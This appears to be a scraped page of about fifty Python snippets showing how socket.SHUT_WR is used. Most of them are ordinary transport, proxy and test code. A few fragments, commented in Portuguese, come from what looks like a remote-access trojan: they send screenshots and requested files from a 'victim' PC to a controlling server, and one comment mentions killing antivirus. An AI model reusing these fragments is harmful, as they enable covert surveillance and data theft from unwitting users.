我们从Python开源项目中,提取了以下50个代码示例,用于说明如何使用socket.SHUT_WR。
def screenshot(s): nome = TEMPDIR + '/screenshot'+str(random.randint(0,1000000)) + '.png' if(os.name == 'posix'): # se for unix-like img = pyscreenshot.grab() img.save(nome) elif(os.name == 'nt'): # se for windows img = ImageGrab.grab() img.save(nome) # envia para o servidor f = open(nome ,'rb') l = f.read(1024) l = nome + '+/-' + l while(l): s.send(l) l = f.read(1024) f.close() print('enviado') s.shutdown(socket.SHUT_WR) os.remove(nome) # recebe arquivos do servidor e salva no PC da vitma
def shutdown_request(self, request): """Called to shutdown and close an individual request.""" try: #explicitly shutdown. socket.close() merely releases #the socket and waits for GC to perform the actual close. request.shutdown(socket.SHUT_WR) except socket.error: pass #some platforms may raise ENOTCONN here self.close_request(request)
def __serve(self, client, server): 'Private class method.' pairs = {client: server, server: client} while pairs: read, write, error = _select.select(pairs.keys(), [], []) for socket in read: string = socket.recv(self.BUFFERSIZE) if string: pairs[socket].sendall(string) else: pairs[socket].shutdown(_socket.SHUT_WR) socket.shutdown(_socket.SHUT_RD) del pairs[socket] client.close() server.close() ################################################################################
def _write_ready(self): assert self._buffer, 'Data should not be empty' try: n = self._sock.send(self._buffer) except (BlockingIOError, InterruptedError): pass except Exception as exc: self._loop.remove_writer(self._sock_fd) self._buffer.clear() self._fatal_error(exc, 'Fatal write error on socket transport') else: if n: del self._buffer[:n] self._maybe_resume_protocol() # May append to buffer. if not self._buffer: self._loop.remove_writer(self._sock_fd) if self._closing: self._call_connection_lost(None) elif self._eof: self._sock.shutdown(socket.SHUT_WR)
def _make_request(self, query): if not query.endswith("\n"): query += "\n" query += "Localtime: %d\nOutputFormat: python\nResponseHeader: fixed16\n\n" % int(time.time()) self._open_socket() if python_3(): self.__socket.send(bytes(query, encoding='UTF-8')) else: self.__socket.send(query) self.__socket.shutdown(socket.SHUT_WR) data = "" buffer = self.__socket.recv(BUFFER_SIZE) while buffer: data += buffer.decode() buffer = self.__socket.recv(BUFFER_SIZE) return_code = data[0:3] if return_code == "200": return eval(data[16:]) else: raise Exception("Livestatus returned with " + return_code)
def handleclient(self, c, a): w = socketwrapper(c) sys.stdout = w ip, cport, flowinfo, scopeid = a c.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1) q = '' r = c.recv(256) while r: q += r i = q.find('\r\n') if i >= 0: q = q[:i] if ip.startswith('::ffff:'): ip = ip[7:] self.log("%s %s" % (ip, q)) # XXX: the 192.168.0.* check is a terrible hack until the # Perl query interface is rewritten. query(q, self.dbstring, w, remote = (ip != '127.0.0.1' and ip != '::1' and not ip.startswith('192.168.0.'))) c.shutdown(socket.SHUT_WR) break r = c.recv(256) c.close()
def disconnect(self, *, wait=True, timeout=2.0): for cid, ch in list(self.channels.items()): ch.disconnect(wait=wait, timeout=timeout) self.channels.pop(cid) with self.new_command_cond: self.circuit.disconnect() sock = self.socket if sock is not None: self.selector.remove_socket(sock) try: sock.shutdown(socket.SHUT_WR) sock.close() except OSError: pass self.socket = None self.channels.clear() self.ioids.clear()
def netcat(host, port, content, timeout=60, max_size=4096): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, int(port))) s.sendall(content.encode()) s.shutdown(socket.SHUT_WR) result = None ready = select.select([s], [], [], timeout) if ready[0]: s.setblocking(False) data = s.recv(max_size) if data: result = str(data) s.close() return result
def scanner_cmd(cmd): client = socket.socket(socket.AF_UNIX) client.settimeout(1) client.connect_ex("/var/run/device-scanner.sock") client.sendall(json.dumps({"ACTION": cmd})) client.shutdown(socket.SHUT_WR) out = '' while True: data = client.recv(1024) size = len(data) if size == 0: break out += data return json.loads(out)
def server(self): # This method sets the evt 3 times: # 1) when the connection is ready to be accepted. # 2) when it is safe for the caller to close the connection # 3) when we have closed the socket self.sock.listen(5) # (1) Signal the caller that we are ready to accept the connection. self.evt.set() try: conn, addr = self.sock.accept() except socket.timeout: pass else: conn.sendall(b"1 Hola mundo\n") conn.shutdown(socket.SHUT_WR) # (2) Signal the caller that it is safe to close the socket. self.evt.set() conn.close() finally: self.sock.close()
def _write_ready(self): assert self._buffer, 'Data should not be empty' if self._conn_lost: return try: n = self._sock.send(self._buffer) except (BlockingIOError, InterruptedError): pass except Exception as exc: self._loop._remove_writer(self._sock_fd) self._buffer.clear() self._fatal_error(exc, 'Fatal write error on socket transport') else: if n: del self._buffer[:n] self._maybe_resume_protocol() # May append to buffer. if not self._buffer: self._loop._remove_writer(self._sock_fd) if self._closing: self._call_connection_lost(None) elif self._eof: self._sock.shutdown(socket.SHUT_WR)
def communicate(host, port): """ Read from stdin till EOF, send, then return the results of recv(). """ s = socket.socket() s.connect((host, port)) payload = sys.stdin.read().encode() s.sendall(payload) s.shutdown(socket.SHUT_WR) output = [] while True: read = s.recv(READ_SIZE) if read: output.append(read.decode()) else: break return ''.join(output)
def close(self): try: self.socket.flush() except Exception: pass try: self.socket.shutdown(raw_socket.SHUT_WR) except Exception: pass try: self.socket.close() except Exception: pass self.socket = None self.server.remove_connection(self)
def netcat(hostname, port, content): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((hostname, port)) s.sendall(content) s.shutdown(socket.SHUT_WR) data = [] while True: datum = s.recv(1024) if datum == '': break datum = datum.split('\n') for dat in datum: if dat != '': dat = float(dat) if 5 >= dat >= 0: data.append(dat) s.close() return data
def netcat(hostname, port, content): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((hostname, port)) s.sendall(content) s.shutdown(socket.SHUT_WR) output = "" while 1: data = s.recv(1024) if data == "": break #print "Received:", repr(data) output += data #print "Connection closed." # res = repr(data) s.close() return output
def netcat(hostname, port, content, quiet=False): if not quiet: print('Connecting to port {}'.format(port)) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((hostname, port)) s.sendall(content.encode('utf-8')) s.shutdown(socket.SHUT_WR) data = [] while True: datum = s.recv(16384) if datum == '': break datum = datum.split('\n') for dat in datum: if dat != '': dat = float(dat) if 1 >= dat >= -1: #TODO: Parameterize data.append(dat) s.close() return data
def download(s): arquivo = s.recv(1024) print(arquivo) if(os.path.isfile(arquivo)): f = open(arquivo, 'rb') l = f.read(1024) l = 'True+/-' + l while(l): s.send(l) l = f.read(1024) f.close() print('envio completo') s.shutdown(s.SHUT_WR) else: s.send('False') # finaliza o processo do antivirus rodando na maquina
def do_FAKECERT(self): #??????????????? self.write(b'HTTP/1.1 200 Connection Established\r\n\r\n') if not self.fakecert: return context = self.get_context() try: ssl_sock = context.wrap_socket(self.connection, server_side=True) except Exception as e: if e.args[0] not in pass_errno: logging.exception('%s ?????????host=%r?%r', self.address_string(), self.host, e) return #??????? self.finish() #??????? self.request = ssl_sock self.setup() try: #???????? self.handle() finally: #?????????????????? 2 ? makefile #ssl_sock.shutdown(socket.SHUT_WR) ssl_sock.close()
def one_way_proxy(self, source, dest): """Proxy tcp connection from source to dest.""" while True: try: d = source.recv(32384) except Exception: d = None # If recv fails, send a write shutdown the other direction if d is None or len(d) == 0: dest.shutdown(socket.SHUT_WR) break # If send fails, terminate proxy in both directions try: # sendall raises an exception on write error, unlike send dest.sendall(d) except Exception: source.close() dest.close() break
def _cleanupSocket(self): """Close the Connection's socket.""" try: self._sock.shutdown(socket.SHUT_WR) except: return try: while True: r, w, e = select.select([self._sock], [], []) if not r or not self._sock.recv(1024): break except: pass self._sock.close()
def _loop_writing(self, f=None, data=None): try: assert f is self._write_fut self._write_fut = None self._pending_write = 0 if f: f.result() if data is None: data = self._buffer self._buffer = None if not data: if self._closing: self._loop.call_soon(self._call_connection_lost, None) if self._eof_written: self._sock.shutdown(socket.SHUT_WR) # Now that we've reduced the buffer size, tell the # protocol to resume writing if it was paused. Note that # we do this last since the callback is called immediately # and it may add more data to the buffer (even causing the # protocol to be paused again). self._maybe_resume_protocol() else: self._write_fut = self._loop._proactor.send(self._sock, data) if not self._write_fut.done(): assert self._pending_write == 0 self._pending_write = len(data) self._write_fut.add_done_callback(self._loop_writing) self._maybe_pause_protocol() else: self._write_fut.add_done_callback(self._loop_writing) except ConnectionResetError as exc: self._force_close(exc) except OSError as exc: self._fatal_error(exc, 'Fatal write error on pipe transport')
def write_eof(self): if self._closing or self._eof_written: return self._eof_written = True if self._write_fut is None: self._sock.shutdown(socket.SHUT_WR)
def write_eof(self): if self._eof: return self._eof = True if not self._buffer: self._sock.shutdown(socket.SHUT_WR)
def test_write_eof(self): tr = self.socket_transport() self.assertTrue(tr.can_write_eof()) tr.write_eof() self.sock.shutdown.assert_called_with(socket.SHUT_WR) tr.write_eof() self.assertEqual(self.sock.shutdown.call_count, 1) tr.close()
def test_write_eof_buffer(self): tr = self.socket_transport() self.sock.send.side_effect = BlockingIOError tr.write(b'data') tr.write_eof() self.assertEqual(tr._buffer, list_to_buffer([b'data'])) self.assertTrue(tr._eof) self.assertFalse(self.sock.shutdown.called) self.sock.send.side_effect = lambda _: 4 tr._write_ready() self.assertTrue(self.sock.send.called) self.sock.shutdown.assert_called_with(socket.SHUT_WR) tr.close()
def close_sending(self): """First closing step, cut the sending part of the socket.""" try: outmsg('# closing client connection send canal ' '(can still receive).') self._sock.shutdown(socket.SHUT_WR) except OSError: raise ClosedSocketError('closed socket detected on send close')
def netcat(hostname, port, content): """ Netcat equivalent to get data from Claymore. Normal http get doesn't works.""" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((hostname, port)) s.sendall(content) s.shutdown(socket.SHUT_WR) s.setblocking(0) fulltext = '' while 1: ready = select.select([s], [], [], timeout) if ready[0]: data = s.recv(4096) if data == "": break fulltext += data except socket.error, e: fulltext='{"error": true, "id": 0, "result": ["No client", "6", "0;0;0", "0;0", "0;0;0", "0;0", "0;0;0;0", "-;--", "0;0;0;0"]}' print "Socket error: ", e except IOError, e: fulltext='{"error": true, "id": 0, "result": ["No client", "6", "0;0;0", "0;0", "0;0;0", "0;0", "0;0;0;0", "-;--", "0;0;0;0"]}' print "IOError: error: ", e finally: s.close() return parse_response(fulltext)
def on_shutdown(self, broker): """Shut down the write end of the logging socket.""" LOG.debug('%r.on_shutdown()', self) self._wsock.shutdown(socket.SHUT_WR) self._wsock.close() self.transmit_side.close()
def get_from_socket(site_name,query,socket_ip,socket_port): """ Function_name : get_from_socket (collect the query data from the socket) Args: site_name (poller on which monitoring data is to be collected) Kwargs: query (query for which data to be collectes from nagios.) Return : None raise Exception: SyntaxError,socket error """ #socket_path = "/omd/sites/%s/tmp/run/live" % site_name s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) machine = site_name[:-8] s.connect((socket_ip, socket_port)) #s.connect(socket_path) s.send(query) s.shutdown(socket.SHUT_WR) output = '' wait_string= '' while True: try: out = s.recv(100000000) except socket.timeout,e: err=e.args[0] print 'socket timeout ..Exiting' if err == 'timed out': sys.exit(1) if not len(out): break; output += out return output
def check_bot(self, botname, port, path, user): bot = botname if not botname in data: addlog('starting '+ botname) os.chdir(path) proc = subprocess.Popen('screen -dmS "'+ botname +'" su '+ user +' -c "bash launch.sh -P '+ str(port) +'"',shell=True).wait() addlog(botname + ' has been successfully started') print(colored(botname + ' has been successfully started\n',"blue")) spid = screen_pid(botname) data[botname] = {"pid": spid} time.sleep(5) while True: try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5.0) s.connect(('localhost', int(port))) s.shutdown(socket.SHUT_WR) s.close() except: try: os.kill(int(data[botname][pid]), 9) except Exception as e: a = 'a' wipe = subprocess.Popen(["screen", "-wipe"], stdout=subprocess.PIPE) del data[botname] addlog(botname + ' was crashed and it has been successfully restarted.') print(botname + ' was crashed and it has been successfully restarted.') botname = bot+get_random_key(2) proc = subprocess.Popen('screen -dmS "'+ botname +'" su '+ user +' -c "bash launch.sh -P '+ str(port) +'"',shell=True).wait() spid = screen_pid(botname) data[botname] = {"pid": spid} time.sleep(15)
def frameparser_sender(s,msg): LOGGER.info("Sending {0} bytes to frameparser".format(len(msg))) s.sendall(msg) s.shutdown(socket.SHUT_WR)
def netcat(hostname, port, content): mntr = '' conn = socket(AF_INET, SOCK_STREAM) conn.connect((hostname, port)) conn.sendall(content) conn.shutdown(SHUT_WR) while True: data = conn.recv(1024) if data == '': break mntr += data conn.close() return mntr
def __dispatch(addr, port, msg): """ worker :param addr: :param port: :param msg: list (thread obj, message, return value) :return: """ print 'opening socket' clientsocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) clientsocket.settimeout(2) try: clientsocket.connect((addr, port)) except: msg[2] = "couldn't connect to socket" return print 'sending' n = clientsocket.sendall(msg[1]) clientsocket.shutdown(socket.SHUT_WR) print 'sent', n buffer = "" while(1): buf = clientsocket.recv(1024) if len(buf) > 0: buffer += buf else: print 'received %d bytes'%len(buffer) msg[2] = buffer break clientsocket.close() print 'done'
def connect(self, server): """Creates a (ssl) socket and connects to the server. Not using asyncore's connect-function because it sucks.""" # sockets are garbage collected, but if the connection isn't closed it might fail try: self.socket.shutdown(socket.SHUT_WR) self.socket.close() del self.socket except Exception: pass self.create_socket(socket.AF_INET, socket.SOCK_STREAM) if self.use_ssl: try: self.socket.setblocking(True) self.socket = ssl.wrap_socket(self.socket) except (ssl.SSLWantReadError, ssl.SSLWantWriteError) as e: log.debug(e) self._handshake() except ssl.SSLError as e: log.error(e) self.exit() return finally: self.socket.setblocking(False) log.info('Connecting to %s', self.current_server) self.socket.settimeout(30) self.socket.connect(server) self.handle_connect_event()
def disconnect(self): if self.connected: try: self.sock.shutdown(socket.SHUT_WR) self.sock.close() self.connected = False except SocketError as e: print("Server must have disconnected first!") print("Disconnection successful!") else: print("Nothing to disconnect!")
def server_shutdown(self): self.is_listening = False for c in connections: c.close() try: self.server_proc.shutdown(socket.SHUT_WR) except OSError as e1: if e1.args[0] == 57: print("No clients connected?") self.server_proc.close()
def test_rd_partial(self): self.server.send(b'test') self.server.shutdown(socket.SHUT_WR) with self.assertRaises(rxpwn.PartialReadError) as ecm: rd(b'\n') self.assertEqual(ecm.exception.data, b'test')